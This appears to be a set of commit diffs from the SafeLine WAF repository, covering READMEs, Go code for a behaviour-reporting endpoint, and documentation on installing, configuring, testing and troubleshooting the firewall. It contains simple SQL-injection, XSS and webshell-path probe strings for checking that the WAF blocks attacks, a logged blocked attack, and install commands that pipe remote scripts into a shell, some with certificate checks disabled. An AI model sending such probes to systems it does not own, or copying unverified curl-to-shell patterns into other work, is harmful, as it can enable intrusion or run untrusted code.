<img src="https://img.shields.io/github/release-date/chaitin/safeline.svg?color=blue&label=update" />
<img src="https://img.shields.io/docker/v/chaitin/safeline-mgt-api?color=blue">
<img src="https://img.shields.io/github/stars/chaitin/safeline?style=social">
</p>
<p align="center">
<a href="https://waf-ce.chaitin.cn/">官方网站</a> |
<a href="https://demo.waf-ce.chaitin.cn:9443/dashboard">在线 Demo</a> |
<a href="https://waf-ce.chaitin.cn/posts/guide_introduction">技术文档</a>
</p>
一款足够简单、足够好用、足够强的免费 WAF。基于业界领先的语义引擎检测技术作为反向代理接入保护你的网站不受黑客攻击。
- **累计安装**超过 130,000 台
- **保护网站**超过 1,000,000 个
- 每天**处理 HTTP 请求**超过 30,000,000,000 次
- 每天**拦截攻击**超过 50,000,000 次
核心检测能力由智能语义分析算法驱动,专为社区而生,不让黑客越雷池半步。
<img src="./images/safeline.png" />
<h4 align="center">相关源码仓库</h4>
<p align="center">
<a href="https://github.com/chaitin/yanshi">语义分析自动机引擎</a> |
<a href="https://github.com/chaitin/safeline-open-platform">流量分析插件</a> |
<a href="https://github.com/chaitin/lua-resty-t1k">T1K 协议</a> |
<a href="https://github.com/chaitin/blazehttp">WAF 测试工具</a>
</p>
## 相关特性
#### 便捷性
采用容器化部署一条命令即可完成安装0 成本上手。安全配置开箱即用,无需人工维护,可实现安全躺平式管理。
#### 安全性
首创业内领先的智能语义分析算法,精准检测、低误报、难绕过。语义分析算法无规则,面对未知特征的 0day 攻击不再手足无措。
#### 高性能
无规则引擎,线性安全检测算法,平均请求检测延迟在 1 毫秒级别。并发能力强,单核轻松检测 2000+ TPS只要硬件足够强可支撑的流量规模无上限。
#### 高可用
流量处理引擎基于 Nginx 开发,性能与稳定性均可得到保障。内置完善的健康检查机制,服务可用性高达 99.99%。
## 🚀 安装
### 配置需求
- 操作系统Linux
- 指令架构x86_64
- 软件依赖Docker 20.10.6 版本以上
- 软件依赖Docker Compose 2.0.0 版本以上
- 最小化环境1 核 CPU / 1 GB 内存 / 10 GB 磁盘
### 一键安装
```
bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
```
> 更多安装方式请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_install">安装雷池</a>
## 🕹️ 快速使用
### 登录
浏览器打开后台管理页面 `https://<waf-ip>:9443`。根据界面提示,使用 **支持 TOTP 的认证软件** 扫描二维码,然后输入动态口令登录:
![login.gif](https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/gif/login.gif)
### 配置防护站点
雷池以反向代理方式接入,优先于网站服务器接收流量,对流量中的攻击行为进行检测和清洗,将清洗过后的流量转发给网站服务器。
![config.gif](https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/gif/config_site.gif)
<font color=grey>💡 TIPS: 添加后,执行 `curl -H "Host: <域名>" http://<WAF IP>:<端口>` 应能获取到业务网站的响应。</font>
### 测试效果
使用以下方式尝试模拟黑客攻击,看看雷池的防护效果如何
- 浏览器访问 `http://<IP或域名>:<端口>/?id=1%20AND%201=1`
- 浏览器访问 `http://<IP或域名>:<端口>/?a=<script>alert(1)</script>`
![log.gif](https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/gif/detect_log.gif)
> 如果你需要进行深度测试,请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_test">测试防护效果</a>
### FAQ
- [安装问题](https://waf-ce.chaitin.cn/posts/faq_install)
- [登录问题](https://waf-ce.chaitin.cn/posts/faq_login)
- [网站无法访问](https://waf-ce.chaitin.cn/posts/faq_access)
- [配置问题](https://waf-ce.chaitin.cn/posts/faq_config)
- [其他问题](https://waf-ce.chaitin.cn/posts/faq_other)
## 🏘️ 联系我们
1. 可以通过 GitHub Issue 直接进行 Bug 反馈和功能建议
2. 点击 <a href="https://discord.gg/wyshSVuvxC">链接</a> 加入雷池 Discord 聊天室
3. 扫描下方二维码加入雷池社区版用户讨论群
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
## Star History <a name="star-history"></a>
<a href="https://github.com/chaitin/safeline/stargazers">
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
</a>

View File

@@ -1,112 +0,0 @@
<p align="center">
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/veinmind/safeline-assets/safeline_logo.png" width="120">
</p>
<h1 align="center">SafeLine Community Edition</h1>
<h3 align="center">Keep hackers at bay</h3>
<br>
<p align="center">
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
<img src="https://img.shields.io/github/release/chaitin/safeline.svg?color=blue" />
<img src="https://img.shields.io/github/release-date/chaitin/safeline.svg?color=blue&label=update" />
<img src="https://img.shields.io/docker/v/chaitin/safeline-mgt-api?color=blue">
<img src="https://img.shields.io/github/stars/chaitin/safeline?style=social">
</p>
<p align="center"> <a href="https://waf-ce.chaitin.cn/">Official Website</a> </p>
<p align="center"> English | <a href="README_CN.md">中文文档</a> </p>
A simple and easy to use WAF tool. Built on [Chaitin Technology](https://www.chaitin.cn/en/)'s ace 🤖Intelligent Semantic Analysis algorithm🤖, designed for the community.
## ✨ Demo
### 🔥🔥🔥 Online Demo: https://demo.waf-ce.chaitin.cn:9443/
There is a simple http server, listened on `http://127.0.0.1:8889`, can be used as for testing.
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/veinmind/safeline-assets/safeline_detect_log.gif)
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/veinmind/safeline-assets/safeline_website.gif)
## 🚀 Installation
### 1. Make sure [Docker](https://docs.docker.com/engine/install/) and [Compose V2](https://docs.docker.com/compose/install/) are installed correctly on the machine
```shell
docker info # >= 20.10.6
docker compose version # >= 2.0.0
```
### 2. Setup and deploy
```shell
mkdir -p safeline && cd safeline
# setup
curl -kfLsS https://waf-ce.chaitin.cn/release/latest/setup.sh | bash
# launch
sudo docker compose up -d
```
#### Upgrade
**WARN: SafeLine will be restarted and your traffic will be unavailable for a short period of time. You may need to choose a proper time for upgration.**
```shell
curl -kfLsS https://waf-ce.chaitin.cn/release/latest/upgrade.sh | bash
# delete the old used image layers if necessary.
docker rmi $(docker images | grep "safeline" | grep "none" | awk '{print $3}')
```
## 🕹️ Quick Start
### 1. Login
Open admin page `https://<waf-ip>:9443` and scan qrcode with any authenticator Apps that support TOTP, enter the code to login.
![safeline_login.gif](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/veinmind/safeline-assets/safeline_login.gif)
### 2. Create website
![safeline_website.gif](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/veinmind/safeline-assets/safeline_website.gif)
<font color=grey>💡 TIPS: After creating websiteexecute `curl -H "Host: <Domain>" http://<WAF IP>:<Port>` to check if you can get correct response from web server.</font>
### 3. Deploy your website to SafeLine
- If your website is hosted by DNS, just modify your DNS record to WAF
- If your website is behind any reverse-proxy like nginx, you can modify your nginx conf and set upstream to WAF
### 4. Protected!👌
Try these:
- `http://<IP or Domain>:<Port>/webshell.php`
- `http://<IP or Domain>:<Port>/?id=1%20AND%201=1`
- `http://<IP or Domain>:<Port>/?a=<script>alert(1)</script>`
## 📖 FAQ
Please refer to our [FAQ](FAQ.md) first if you have any questions.
For examples:
- [docker compose or docker-compose?](FAQ.md#docker-compose-or-docker-compose)
- [website configurations](FAQ.md#站点配置问题)
- [website not working / not correctly response](FAQ.md#配置完成之后还是没有成功访问到上游服务器)
## 🏘️ Contact Us
1. You can make bug feedback and feature suggestions directly through GitHub Issues.
2. By scanning the QR code below (use wechat or qq), you can join the discussion group of SafeLine users for detailed discussions.
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
SafeLine has already joined [CTStack](https://stack.chaitin.com/tool/detail?id=717) community.
## Star History <a name="star-history"></a>
<a href="https://github.com/chaitin/safeline/stargazers">
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
</a>

View File

@@ -1,6 +1,7 @@
package handler
import (
"encoding/json"
"net/http"
"github.com/gin-gonic/gin"
@@ -62,3 +63,44 @@ func (h *SafelineHandler) Exist(c *gin.Context) {
}
c.JSON(200, gin.H{"ip": ip})
}
type BehaviorReq struct {
Source string `json:"source"`
Type service.BehaviorType `json:"type"`
}
// Behavior record user behavior
// @Summary record user behavior
// @Description record user behavior
// @Tags Safeline
// @Accept json
// @Produce json
// @Param body body BehaviorReq true "body"
// @Success 200 {object} string
// @Router /behavior [post]
func (h *SafelineHandler) Behavior(c *gin.Context) {
req := &BehaviorReq{}
if err := c.BindJSON(req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if req.Type >= service.BehaviorTypeMax || req.Type <= service.BehaviorTypeMin {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid behavior type"})
return
}
byteReq, err := json.Marshal(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
err = h.safelineService.PostBehavior(c, byteReq)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(200, gin.H{})
}

View File

@@ -1,12 +1,11 @@
package service
import (
"bytes"
"context"
"crypto/tls"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"strings"
)
@@ -33,25 +32,50 @@ func NewSafelineService(host string) *SafelineService {
}
}
type response[T any] struct {
Code int `json:"code"`
Data T `json:"data"`
}
func (s *SafelineService) request(req *http.Request, data any) error {
res, err := s.client.Do(req)
if err != nil {
return err
}
defer res.Body.Close()
if res.StatusCode != http.StatusOK {
return fmt.Errorf("request failed, status_code: %d", res.StatusCode)
}
if data == nil {
return nil
}
err = json.NewDecoder(res.Body).Decode(data)
if err != nil {
return err
}
return nil
}
func (s *SafelineService) GetInstallerCount(ctx context.Context) (InstallerCount, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, s.APIHost+"/api/v1/public/safeline/count", nil)
if err != nil {
return cacheCount, err
}
res, err := s.client.Do(req)
if err != nil {
return cacheCount, err
}
defer res.Body.Close()
var r map[string]interface{}
if err := json.NewDecoder(res.Body).Decode(&r); err != nil {
return cacheCount, err
}
if r["code"].(float64) != 0 {
var r response[struct {
Total int `json:"total"`
}]
err = s.request(req, &r)
if r.Code != 0 {
return cacheCount, nil
}
cacheCount = InstallerCount{
Total: int(r["data"].(map[string]interface{})["total"].(float64)),
Total: r.Data.Total,
}
return cacheCount, nil
}
@@ -63,21 +87,41 @@ func (s *SafelineService) GetExist(ctx context.Context, id string, token string)
if err != nil {
return "", err
}
res, err := s.client.Do(req)
var r response[struct {
IP string `json:"ip"`
}]
err = s.request(req, &r)
if err != nil {
return "", err
}
defer res.Body.Close()
if res.StatusCode != http.StatusOK {
raw, _ := io.ReadAll(res.Body)
return "", errors.New(string(raw))
}
var r map[string]interface{}
if err := json.NewDecoder(res.Body).Decode(&r); err != nil {
return "", err
}
if r["code"].(float64) != 0 {
if r.Code != 0 {
return "", nil
}
return r["data"].(map[string]interface{})["ip"].(string), nil
return r.Data.IP, nil
}
type BehaviorType uint64
const (
BehaviorTypeMin BehaviorType = iota + 1000
BehaviorTypePurchase
BehaviorTypeConsult
BehaviorTypeMax
)
func (s *SafelineService) PostBehavior(ctx context.Context, body []byte) error {
req, err := http.NewRequestWithContext(ctx, http.MethodPost, s.APIHost+"/api/v1/public/safeline/behavior", bytes.NewReader(body))
if err != nil {
return err
}
err = s.request(req, nil)
if err != nil {
return err
}
return nil
}

View File

@@ -54,6 +54,7 @@ func main() {
safelineHandler := handler.NewSafelineHandler(safelineService)
v1.GET("/safeline/count", safelineHandler.GetInstallerCount)
v1.POST("/exist", safelineHandler.Exist)
v1.POST("/behavior", safelineHandler.Behavior)
docs.SwaggerInfo.BasePath = v1.BasePath()
r.GET("/swagger/*any", ginSwagger.WrapHandler(swaggerfiles.Handler))

View File

@@ -9,7 +9,6 @@ title: "安装雷池"
- [环境检测](#环境检测) : 查看环境是否符合安装要求
- [在线安装](#在线安装) : 推荐方式,一行命令完成安装
- [离线安装](#离线安装) : 下载离线安装包,轻松完成安装
- [其他方式安装](#使用牧云助手安装) : 使用牧云助手,点击即可完安装
## 在线安装(推荐)
@@ -90,20 +89,6 @@ style={{ width: '100%', height: '350px' }}
>
</iframe>
## 使用牧云助手安装
使用 [牧云主机管理助手](https://collie.chaitin.cn/) 进行一键安装
直接点击应用市场的安装按钮安装
![](/images/docs/guide_install/collie_apps.png)
### 助手安装演示
<iframe src="//player.bilibili.com/player.html?aid=613778738&bvid=BV1sh4y1t7Pk&cid=1134834926&p=1&autoplay=0" scrolling="no" border="0" frameBorder="no" framespacing="0" allowFullScreen="{true}"
style={{ width: '100%', height: '350px' }}
> </iframe>
## 环境检测
最低配置需求

View File

@@ -103,6 +103,24 @@ title: "配置站点"
![Alt text](/images/docs/guide_config/deploy_with_other_server.png)
## 高级防护
新版本增加单个站点的高级防护配置,支持对单个站点进行额外的防护配置
注意:自定义规则不受到当前开关影响
![Alt text](/images/docs/guide_config/config_site4.png)
### 人机验证
点击后可以开启单个站点的人机验证
### 身份认证
点击可以为当前站点额外配置一个身份认证规则
## 常见配置问题
请参考 [配置问题](/faq/config)

View File

@@ -20,8 +20,7 @@ title: "测试防护"
整体监测流程参考:
![flow.png](/images/docs/flow.svg)
![Alt text](/images/docs/flow.png)
## 尝试手动模拟攻击
@@ -61,13 +60,19 @@ title: "测试防护"
3. 使用以下请求开始测试
```
./blazehttp -t http://<IP或域名>:<端口>
./选择对应版本 -t http://<IP或域名>:<端口>
windows下
./blazehttp_windows.exe -t http://<IP或域名>:<端口>
linux下
./blazehttp_linux_x64 -t http://<IP或域名>:<端口>
```
### 测试效果展示
```sh
# 测试请求
# linux测试请求演示
./blazehttp -t http://127.0.0.1:8008
sending 100% |█████████████████████████████████████████████████████████| (33669/33669, 940 it/s) [35s:0s]
总样本数量: 33669 成功: 33669 错误: 0

View File

@@ -0,0 +1,214 @@
---
title: "配置其他"
---
# 配置其他
其他配置项介绍
## 防护站点
### 证书管理
管理需要使用的证书,点击添加证书添加
### 代理配置
#### 源 ip 获取方式
1.使用默认的方式获取源 IP
2.自定义获取源 IP 的 header
#### 其他代理配置
1.如果配置站点需要 http 自动转为 https 功能时,需要手动开启
2.支持使用 HTTP2
3.雷池支持开启 IPv6 的访问
4.代理增加信息,方便数据分析
注:开启后并不会遵循源请求的信息,雷池会覆盖,为防止客户端伪造
## 防护配置
### 自定义规则
新版本自定义规则把原黑白名单、人机验证、身份认证都合并一起管理,可以通过页面进行筛选
![Alt text](/images/docs/guide_config/other_config1.png)
#### 类型:黑、白名单
黑名单:拦截
白名单:放通,优先级大于黑名单
注意:条件 AND 是指同时符合,如果希望多个匹配条件需要增加多条黑名单或者白名单
#### 类型:人机验证
人机验证的有效时间默认是一个小时,未来可能会支持配置,敬请期待。
详情查看 [人机验证 2.0](/about/challenge)
#### 类型:身份认证
可以通过添加认证规则,对雷池保护的站点额外增加身份认证功能。
![Alt text](/images/docs/guide_config/other_config4.png)
如图,触发身份认证规则后需要使用账户密码登录后继续访问网站。
### 频率限制
通过开启频率限制功能封锁恶意 IP
对已经限制的ip可以在限频日志页面点击解除限制进行放行
![Alt text](/images/docs/guide_config/other_config2.png)
### 语义分析
详情查看 [语义分析检测算法](/about/syntaxanalysis)
### 补充规则(专业版)
补充规则能在语义分析的基础上,针对一些特殊的业务漏洞、框架漏洞的利用行为进行防护。
社区版默认进行平衡防护,专业版可进一步配置防护模式。
![Alt text](/images/docs/guide_config/other_config3.png)
### 通用配置
#### IP 组
1.支持自定义 IP 组
2.长亭社区恶意 IP 情报,需要加入 IP 情报共享计划才可以使用
#### 拦截页面
1.自定义拦截页面的提示信息
2.自定义拦截页面(专业版),可以修改替或换拦截页面
#### 攻击告警(专业版)
支持钉钉、飞书、企业微信
支持发送(攻击、频率限制)告警到钉钉
#### IP 情报共享计划
默认加入共享计划,加入后将共享攻击 IP 信息到社区,并可使用 IP 组 “长亭社区恶意 IP 情报”。
## 系统设置
#### 雷池控制台登录设置
用于配置登录雷池管理端的方式
低于5.0.0版本升级上来的shell会显示初始密码忘记可以手动重置
社区版支持单用户,**专业版**支持多用户管理
管理员固定为 admin非管理员不能修改其他用户配置
#### 雷池控制台证书
存放默认证书,可以自定义证书
#### Syslog 设置
让雷池发送syslog到设置的服务器**当前只支持UDP协议**
![Alt text](/images/docs/guide_config/other_config6.png)
保存信息后可以点击测试按钮测试,收到测试信息表示配置成功
雷池发现攻击事件后会发送事件的syslog信息
![Alt text](/images/docs/guide_config/other_config7.png)
```
#syslog 内容详情
{
"scheme": "http", // 请求协议为 HTTP
"src_ip": "12.123.123.123", // 源 IP 地址
"src_port": 53008, // 源端口号
"socket_ip": "10.2.71.103", // Socket IP 地址
"upstream_addr": "10.2.34.20", // 上游地址
"req_start_time": 1712819316749, // 请求开始时间
"rsp_start_time": null, // 响应开始时间
"req_end_time": 1712819316749, // 请求结束时间
"rsp_end_time": null, // 响应结束时间
"host": "safeline-ce.chaitin.net",// 主机名
"method": "GET", // 请求方法为 GET
"query_string": "", // 查询字符串
"event_id": "32be0ce3ba6c44be9ed7e1235f9eebab", // 事件 ID
"session": "", // 会话
"site_uuid": "35", // 站点 UUID
"site_url": "http://safeline-ce.chaitin.net:8083", // 站点 URL
"req_detector_name": "1276d0f467e4", // 请求检测器名称
"req_detect_time": 286, // 请求检测时间
"req_proxy_name": "16912fe30d8f", // 请求代理名称
"req_rule_id": "m_rule/9bf31c7ff062936a96d3c8bd1f8f2ff3", // 请求规则 ID
"req_location": "urlpath", // 请求位置为 URL 路径
"req_payload": "", // 请求负载为空
"req_decode_path": "", // 请求解码路径
"req_rule_module": "m_rule", // 请求规则模块为 m_rule
"req_http_body_is_truncate": 0, // 请求 HTTP 主体
"rsp_http_body_is_truncate": 0, // 响应 HTTP 主体
"req_skynet_rule_id_list": [ // 请求 Skynet 规则 ID 列表
65595,
65595
],
"http_body_is_abandoned": 0, // HTTP 主体
"country": "US", // 国家
"province": "", // 省份
"city": "", // 城市
"timestamp": 1712819316, // 时间戳
"payload": "",
"location": "urlpath", // 位置为 URL 路径
"rule_id": "m_rule/9bf31c7ff062936a96d3c8bd1f8f2ff3", / 规则 ID
"decode_path": "", // 解码路径
"cookie": "sl-session=Z0WLa8mjGGZPki+QHX+HNQ==", // Cookie
"user_agent": "PostmanRuntime/7.28.4", // 用户代理
"referer": "", // 引用页
"timestamp_human": "2024-04-11 15:08:36", // 时间戳
"resp_reason_phrase": "", // 响应
"module": "m_rule", // 模块为 m_rule
"reason": "", // 原因
"proxy_name": "16912fe30d8f", // 代理名称
"node": "1276d0f467e4", // 节点
"dest_port": 8083, // 目标端口号
"dest_ip": "10.2.34.20", // 目标 IP 地址
"urlpath": "/webshell.php", // URL 路径
"protocol": "http", // 协议为 HTTP
"attack_type": "backdoor", // 攻击类型
"risk_level": "high", // 风险级别
"action": "deny", // 动作
"req_header_raw": "GET /webshell.php HTTP/1.1\r\nHost: safeline-ce.chaitin.net:8083\r\nUser-Agent: PostmanRuntime/7.28.4\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate, br\r\nCache-Control: no-cache\r\nCookie: sl-session=Z0WLa8mjGGZPki+QHX+HNQ==\r\nPostman-Token: 8e67bec1-6e79-458c-8ee5-0498f3f724db\r\nX-Real-Ip: 12.123.123.123\r\nSL-CE-SUID: 35\r\n\r\n", // 请求头原始内容
"body": "", // 主体
"req_block_reason": "web", // 请求阻止原因
"req_attack_type": "backdoor", // 请求攻击类型
"req_risk_level": "high", // 请求风险级别
"req_action": "deny" // 动作
}
```
#### 系统信息
显示系统版本和设备机器码
## 常见配置问题
请参考 [其他问题](/faq/other)

View File

@@ -1,141 +0,0 @@
---
title: "配置其他"
---
# 配置其他
其他配置项介绍
## 防护站点
### 证书管理
管理需要使用的证书,点击添加证书添加
### 代理配置
#### 源 ip 获取方式
1.使用默认的方式获取源 IP
2.自定义获取源 IP 的 header
#### 其他代理配置
1.如果配置站点需要 http 自动转为 https 功能时,需要手动开启
2.支持使用 HTTP2
3.雷池支持开启 IPv6 的访问
4.代理增加信息,方便数据分析
注:开启后并不会遵循源请求的信息,雷池会覆盖,为防止客户端伪造
## 防护配置
### 黑白名单
黑名单:拦截
白名单:放通,优先级大于黑名单
注意:条件 AND 是指同时符合,如果希望多个匹配条件需要增加多条黑名单或者白名单
![Alt text](/images/docs/guide_config/other_config1.png)
### 频率限制
通过开启频率限制功能封锁恶意 IP
对已经限制的ip可以在限频日志页面点击解除限制进行放行
![Alt text](/images/docs/guide_config/other_config2.png)
### 人机验证
人机验证的有效时间默认是一个小时,未来可能会支持配置,敬请期待。
详情查看 [人机验证 2.0](/about/challenge)
### 语义分析
详情查看 [语义分析检测算法](/about/syntaxanalysis)
### 补充规则(专业版)
补充规则能在语义分析的基础上,针对一些特殊的业务漏洞、框架漏洞的利用行为进行防护。
社区版默认进行平衡防护,专业版可进一步配置防护模式。
![Alt text](/images/docs/guide_config/other_config3.png)
### 身份认证
可以通过添加认证规则,对雷池保护的站点额外增加身份认证功能。
![Alt text](/images/docs/guide_config/other_config4.png)
如图,触发身份认证规则后需要使用账户密码登录后继续访问网站。
![Alt text](/images/docs/guide_config/other_config5.png)
### 通用配置
#### IP 组
1.支持自定义 IP 组
2.长亭社区恶意 IP 情报,需要加入 IP 情报共享计划才可以使用
#### 拦截页面
1.自定义拦截页面的提示信息
2.自定义拦截页面(专业版),可以修改替或换拦截页面
#### 钉钉告警(专业版)
支持发送(攻击、频率限制)告警到钉钉
#### IP 情报共享计划
默认加入共享计划,加入后将共享攻击 IP 信息到社区,并可使用 IP 组 “长亭社区恶意 IP 情报”。
## 系统设置
#### 雷池控制台登录设置
用于配置登录雷池管理端的方式
低于5.0.0版本升级上来的shell会显示初始密码忘记可以手动重置
社区版支持单用户,**专业版**支持多用户管理
管理员固定为 admin非管理员不能修改其他用户配置
#### 雷池控制台证书
存放默认证书,可以自定义证书
#### Syslog 设置
让雷池发送syslog到设置的服务器**当前只支持UDP协议**
![Alt text](/images/docs/guide_config/other_config6.png)
保存信息后可以点击测试按钮测试,收到测试信息表示配置成功
雷池发现攻击事件后会发送事件的syslog信息
![Alt text](/images/docs/guide_config/other_config7.png)
#### 系统信息
显示系统版本和设备机器码
## 常见配置问题
请参考 [其他问题](/faq/other)

View File

@@ -26,9 +26,8 @@ title: "安装问题"
需要安装 docker。尝试 `curl -fLsS https://get.docker.com/ | sh` 或者 [Install Docker Engine](https://docs.docker.com/engine/install/)。
#### 报错:docker not found, unable to deploy
#### 报错:failed to create network safeline-ce
failed to create network safeline-ce
safeline-ce 是雷池部署时候创建的 network出现类似报错先重启下 dockerd 之后重试
需要启动 docker daemon 才能执行相关的命令。尝试 `systemctl start docker`
@@ -37,10 +36,6 @@ safeline-ce 是雷池部署时候创建的 network出现类似报错先重
需要安装 `docker compose v2`。尝试 `[Install Docker Compose](https://docs.docker.com/compose/install/)`
#### 报错: `failed to create network safeline-ce`
safeline-ce 是雷池部署时候创建的 network出现类似报错先重启下 dockerd 之后重试。
#### 报错: safeline-tengine 出现 Address already in use
`docker logs -f safeline-tengine` 容器日志中看到 `Address already in use` 信息。
@@ -103,8 +98,27 @@ security_opt:
在安装目录(默认 safeline)下
根据本地的compose版本执行 `docker compose down` 或者 `docker-compose down`
1.根据本地的compose版本执行 `docker compose down` 或者 `docker-compose down` 停止容器
2.手动删除镜像
3.动手删除目录
## 关于推荐的配置
需根据业务情况进行选择,带宽推荐与源站的带宽保持一致
独立部署雷池环境下:
如果业务QPS低于100推荐2c4g及以上配置
如果业务QPS大于100低于1000推荐4c8g及以上配置
如果业务QPS高于1000推荐8c16g及以上配置
注意:
上述推荐仅做参考,建议根据业务情况进行测试后,再确定服务器配置
## 问题无法解决

View File

@@ -6,6 +6,10 @@ title: "配置问题"
记录常见的配置问题
## 配置后攻击测试没有拦截记录
检查访问请求有没有真实经过雷池
## 配置后网站无法访问,排查思路
如果按照指引配置了站点,但配置的网站无法访问
@@ -22,6 +26,8 @@ title: "配置问题"
5. 雷池本身的状态不正常,使用 docker ps 检查容器状态
还可以结合safeline-mgt和safeline-tengine两个容器的日志帮助排查
## 排查步骤
1. 明确 “网站无法访问” 的具体表现:
@@ -81,10 +87,16 @@ title: "配置问题"
## 配置完成后,测试时返回 400 Request Header Or Cookie Too Large
请麻烦检查是否形成了环路,即:雷池将请求转发给上游服务器后,上游服务器又将请求转发回雷池。
检查是否形成了环路,即:雷池将请求转发给上游服务器后,上游服务器又将请求转发回雷池。
重新修改配置后再次测试
## 不同版本关闭防火墙的命令
默认使用雷池不需要关闭防火墙,配置对应的开放规则即可
如果需要直接关闭防火墙可以参考
Ubuntu 18.04 LTS 、 Ubuntu 20.04 LTS 、 Ubuntu 22.04 LTS
Debian 9 (Stretch)、Debian 10 (Buster)、Debian 11 (Bullseye)

View File

@@ -45,6 +45,22 @@ docker exec safeline-tengine nginx -s reload
**_注意该操作会加快对硬盘的消耗请定时清理访问日志_**
## 有信任的ip进入了社区黑名单怎么办
社区黑名单的进入条件是需要多个雷池设备上报恶意行为,自动移出条件是连续一段时间没有被上报
由于网络环境的复杂性存在ip被利用或者规则误报导致进入社区黑名单的情况
出于安全考虑,雷池社区不会主动为任何人移出社区黑名单
误报如何处理
1.排查信任ip的情况确认是否真的安全
2.对信任的ip针对性配置加白规则
3.等待信任ip自动被移出社区黑名单
## 问题无法解决
1. 通过右上角搜索检索其他页面

View File

@@ -6,6 +6,12 @@ title: "升级问题"
记录常见的升级问题
## 关于升级后兼容问题
版本差距过大会可能会发生升级后数据不兼容导致服务器无法起来
跨多个版本超过1个大版本号升级做好数据备份遇到升级失败可尝试重新安装解决
## 默认账号密码
雷池社区版5.0.0以后的版本都有一个默认的账户密码

View File

@@ -143,7 +143,7 @@ docker run -d --restart=always --name safeline-fluentd --net safeline-ce -v ./sq
## 自定义站点 nginx conf
雷池每次修改站点或者重启服务时都会在waf的安装目录下的**resources/nginx/sites-enabled/**重新生成 nginx conf 文件。因为没法“智能”合并用户自定义的配置和自动生成的配置。但是也还是有方式能持久化地添加一些 nginx conf不会被覆盖。
雷池每次修改站点或者重启服务时都会在waf的安装目录下的 **resources/nginx/sites-enabled/** 重新生成 nginx conf 文件。因为没法“智能”合并用户自定义的配置和自动生成的配置。但是也还是有方式能持久化地添加一些 nginx conf不会被覆盖。
每个 `IF_backend_XXX` 的 location 中都有 `include proxy_params;` 这一行配置,且 `resources/nginx/proxy_params` 这个文件不会被修改站点、重启服务等动作覆盖。2.1.0 版本之后支持 `include custom_params/backend_XXX;` 可以自定义站点级的 nginx location 配置。
@@ -191,12 +191,81 @@ docker exec safeline-tengine nginx -s reload
![fake_host.jpg](/images/docs/fake_host.jpg)
## 查看容器日志根据错误日志进行排查(通用)
1. 查看容器状态
```shell
docker ps
```
2. 查看tengine日志
```shell
docker logs -f safeline-tengine
```
3. 查看mgt日志
```shell
docker logs -f safeline-mgt
```
根据错误日志的信息进行排查
## 紧急恢复 tengine
问题表现:重启或升级后编辑任何站点配置都报错,后台 tengine 一直在重启。
一般原因是 tengine 配置在当前设备环境上不合法,导致 tengine 无法以原配置启动,例如重启过程中网站端口被其他进程所占用、网站 dns 配置异常导致解析不到 IP 等。
解决方案:可以通过查看 tengine 容器的日志,排查问题,也可以使用安装目录下的 `reset_tengine.sh` 脚本重置 tengine 容器配置。
```shell
# 执行时间根据网站数量和配置情况而定, 请耐心等待
cd /data/safeline && bash reset_tengine.sh
```
执行成功后会有如下输出,此时可以尝试重新编辑站点配置,观察是否正常。
```shell
[SafeLine] 是否重新生成 tengine 的所有配置 (Y/n)
重新生成 tengine 配置完成
```
## 是否支持 WebSocket
默认支持
## 内网需要加白哪些公网地址?
| 地址 | 端口 | 说明 |
|------------------------------|-------|--------------------|
| waf-ce.chaitin.cn | 443 | 搜索引擎爬虫白名单、左下角的更新提示 |
| challenge.rivers.chaitin.cn | 443 | 恶意 IP 情报 |
| safeline-cloud.chaitin.com | 50052 | 专业版授权 |
| acme-v02.api.letsencrypt.org | 443 | acme 证书申请 |
| rivers.chaitin.cn | 443 | 百川推荐工具(浏览器使用) |
## 是否可以给客户/朋友推荐或安装社区版?
欢迎推荐雷池社区版给客户、公司和朋友!
但是,请注意,我们不允许以下行为:
1. 对软件进行破解、逆向工程、二次包装、篡改版权信息等操作
2. 在未获得长亭授权的情况下,出售雷池社区版或提供商业化的技术服务
3. 其他任何侵犯雷池社区版知识产权的行为,[查看授权协议](https://github.com/chaitin/SafeLine/blob/main/LICENSE.md)
感谢您的理解和支持!
## 雷池社区版和企业版有什么区别
企业版功能完善、部署模式灵活,能满足合规等保的需要。另外,企业版提供完善、一对一的支持服务,包括方案咨询、售后支持、漏洞应急服务等。企业版还有完善的开发管理流程和事故响应机制,能够对稳定性做承诺。
企业体量较大的客户可以使用社区版/专业版,但社区版功能有限,可以在边缘的小网站、内部网站上试用一下。
如对企业版有预算,可以联系销售申请企业版试用,官网留电话即可。
## 问题无法解决

View File

@@ -1,6 +1,6 @@
{
"label": "常见问题排查",
"collapsed": false,
"collapsed": true,
"link": {
"type": "generated-index"
}

View File

@@ -16,38 +16,13 @@ apisixhttps://github.com/apache/apisix
## 使用方式
### 安装 APISIX
### 版本要求
* APISIX >= 3.5.0
* Safeline >= 5.6.0
> 注意,要使用 APISIX 3.5.0 及以上版本
### 准备工作
本文使用 apisix 的 docker 版本来做演示,克隆 apisix-docker 仓库,运行以下命令来安装:
```
git clone <https://github.com/apache/apisix-docker>
cd apisix-docker/compose
